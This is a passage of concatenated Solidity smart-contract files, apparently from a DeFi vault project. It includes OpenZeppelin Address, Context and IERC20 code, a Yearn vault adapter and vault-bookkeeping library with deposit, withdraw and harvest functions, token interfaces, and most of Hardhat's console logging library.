*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IERC20Burnable is IERC20 {
function burn(uint256 amount) external;
function burnFrom(address account, uint256 amount) external;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
import "hardhat/console.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
import {FixedPointMath} from "../libraries/FixedPointMath.sol";
import {IDetailedERC20} from "../interfaces/IDetailedERC20.sol";
import {IVaultAdapter} from "../interfaces/IVaultAdapter.sol";
import {IyVaultV2} from "../interfaces/IyVaultV2.sol";
import {YearnVaultAdapter} from "./YearnVaultAdapter.sol";
/// @title YearnVaultAdapter
///
/// @dev A vault adapter implementation which wraps a yEarn vault.
contract YearnVaultAdapterWithIndirection is YearnVaultAdapter {
using FixedPointMath for FixedPointMath.FixedDecimal;
using SafeERC20 for IDetailedERC20;
using SafeERC20 for IyVaultV2;
using SafeMath for uint256;
constructor(IyVaultV2 _vault, address _admin) YearnVaultAdapter(_vault, _admin) public {
}
/// @dev Sends vault tokens to the recipient
///
/// This function reverts if the caller is not the admin.
///
/// @param _recipient the account to send the tokens to.
/// @param _amount the amount of tokens to send.
function indirectWithdraw(address _recipient, uint256 _amount) external onlyAdmin {
vault.safeTransfer(_recipient, _tokensToShares(_amount));
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.12;
//import "hardhat/console.sol";
import {Math} from "@openzeppelin/contracts/math/Math.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
import {IDetailedERC20} from "../../interfaces/IDetailedERC20.sol";
import {YearnVaultAdapterWithIndirection} from "../../adapters/YearnVaultAdapterWithIndirection.sol";
import "hardhat/console.sol";
/// @title Pool
///
/// @dev A library which provides the Vault data struct and associated functions.
library VaultWithIndirection {
using VaultWithIndirection for Data;
using VaultWithIndirection for List;
using SafeERC20 for IDetailedERC20;
using SafeMath for uint256;
struct Data {
YearnVaultAdapterWithIndirection adapter;
uint256 totalDeposited;
}
struct List {
Data[] elements;
}
/// @dev Gets the total amount of assets deposited in the vault.
///
/// @return the total assets.
function totalValue(Data storage _self) internal view returns (uint256) {
return _self.adapter.totalValue();
}
/// @dev Gets the token that the vault accepts.
///
/// @return the accepted token.
function token(Data storage _self) internal view returns (IDetailedERC20) {
return IDetailedERC20(_self.adapter.token());
}
/// @dev Deposits funds from the caller into the vault.
///
/// @param _amount the amount of funds to deposit.
function deposit(Data storage _self, uint256 _amount) internal returns (uint256) {
// Push the token that the vault accepts onto the stack to save gas.
IDetailedERC20 _token = _self.token();
_token.safeTransfer(address(_self.adapter), _amount);
_self.adapter.deposit(_amount);
_self.totalDeposited = _self.totalDeposited.add(_amount);
return _amount;
}
/// @dev Deposits the entire token balance of the caller into the vault.
function depositAll(Data storage _self) internal returns (uint256) {
IDetailedERC20 _token = _self.token();
return _self.deposit(_token.balanceOf(address(this)));
}
/// @dev Withdraw deposited funds from the vault.
///
/// @param _recipient the account to withdraw the tokens to.
/// @param _amount the amount of tokens to withdraw.
function withdraw(Data storage _self, address _recipient, uint256 _amount) internal returns (uint256, uint256) {
(uint256 _withdrawnAmount, uint256 _decreasedValue) = _self.directWithdraw(_recipient, _amount);
_self.totalDeposited = _self.totalDeposited.sub(_decreasedValue);
return (_withdrawnAmount, _decreasedValue);
}
/// @dev Directly withdraw deposited funds from the vault.
///
/// @param _recipient the account to withdraw the tokens to.
/// @param _amount the amount of tokens to withdraw.
function directWithdraw(Data storage _self, address _recipient, uint256 _amount) internal returns (uint256, uint256) {
IDetailedERC20 _token = _self.token();
uint256 _startingBalance = _token.balanceOf(_recipient);
uint256 _startingTotalValue = _self.totalValue();
_self.adapter.withdraw(_recipient, _amount);
uint256 _endingBalance = _token.balanceOf(_recipient);
uint256 _withdrawnAmount = _endingBalance.sub(_startingBalance);
uint256 _endingTotalValue = _self.totalValue();
uint256 _decreasedValue = _startingTotalValue.sub(_endingTotalValue);
return (_withdrawnAmount, _decreasedValue);
}
/// @dev Directly withdraw deposited funds from the vault.
///
/// @param _recipient the account to withdraw the tokens to.
/// @param _amount the amount of tokens to withdraw.
function indirectWithdraw(Data storage _self, address _recipient, uint256 _amount) internal returns (uint256, uint256) {
IDetailedERC20 _token = _self.token();
uint256 _startingBalance = _token.balanceOf(_recipient);
uint256 _startingTotalValue = _self.totalValue();
_self.adapter.indirectWithdraw(_recipient, _amount);
uint256 _endingBalance = _token.balanceOf(_recipient);
uint256 _withdrawnAmount = _endingBalance.sub(_startingBalance);
uint256 _endingTotalValue = _self.totalValue();
uint256 _decreasedValue = _startingTotalValue.sub(_endingTotalValue);
return (_withdrawnAmount, _decreasedValue);
}
/// @dev Withdraw all the deposited funds from the vault.
///
/// @param _recipient the account to withdraw the tokens to.
function withdrawAll(Data storage _self, address _recipient) internal returns (uint256, uint256) {
return _self.withdraw(_recipient, _self.totalDeposited);
}
/// @dev Harvests yield from the vault.
///
/// @param _recipient the account to withdraw the harvested yield to.
function harvest(Data storage _self, address _recipient) internal returns (uint256, uint256) {
if (_self.totalValue() <= _self.totalDeposited) {
return (0, 0);
}
uint256 _withdrawAmount = _self.totalValue().sub(_self.totalDeposited);
return _self.indirectWithdraw(_recipient, _withdrawAmount);
}
/// @dev Adds a element to the list.
///
/// @param _element the element to add.
function push(List storage _self, Data memory _element) internal {
_self.elements.push(_element);
}
/// @dev Gets a element from the list.
///
/// @param _index the index in the list.
///
/// @return the element at the specified index.
function get(List storage _self, uint256 _index) internal view returns (Data storage) {
return _self.elements[_index];
}
/// @dev Gets the last element in the list.
///
/// This function will revert if there are no elements in the list.
///
/// @return the last element in the list.
function last(List storage _self) internal view returns (Data storage) {
return _self.elements[_self.lastIndex()];
}
/// @dev Gets the index of the last element in the list.
///
/// This function will revert if there are no elements in the list.
///
/// @return the index of the last element.
function lastIndex(List storage _self) internal view returns (uint256) {
uint256 _length = _self.length();
return _length.sub(1, "Vault.List: empty");
}
/// @dev Gets the number of elements in the list.
///
/// @return the number of elements.
function length(List storage _self) internal view returns (uint256) {
return _self.elements.length;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.12;
interface ITransmuter {
function distribute (address origin, uint256 amount) external;
}
pragma solidity ^0.6.12;
interface IWETH9 {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
function deposit() external payable;
function withdraw(uint wad) external;
function totalSupply() external view returns (uint);
function approve(address guy, uint wad) external returns (bool);
function transfer(address dst, uint wad) external returns (bool);
function transferFrom(address src, address dst, uint wad) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function balanceOf(address guy) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
